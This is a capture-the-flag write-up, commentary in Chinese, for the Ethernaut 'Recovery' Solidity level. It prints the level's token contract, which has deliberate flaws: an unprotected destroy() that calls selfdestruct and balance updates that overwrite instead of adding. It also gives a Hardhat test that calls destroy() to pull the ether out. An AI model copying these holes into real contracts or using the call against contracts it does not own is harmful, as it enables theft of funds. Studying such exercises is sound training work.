LEVEL 17 (Recovery):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
通关要求
找到token的地址,并取回0.001ETH
要点
1.熟悉https://rinkeby.etherscan.io/
2.selfdestruct的作用
解题思路
区块链的事务都有记录在链上,通过相应的工具都可以查看如etherscan.io
通过instance的地址,在网站上找到对应的内部事务(创建合约和转账0.001ETH的地址),就是那个合约地址,然后调用这个地址的destroy
it("attacks", async function () {
//真实的SimpleToken地址可以通过https://rinkeby.etherscan.io/
//查询对应的instance的事务里面的创建合同,并往哪个地址转了0.001ETH,就是那个合同地址
const tokenAddress = levelContract.address;
const contract = await ethers.getContractAt("SimpleToken", tokenAddress);
await contract.connect(levelOwner).destroy(player.address);
});
Top comments (0)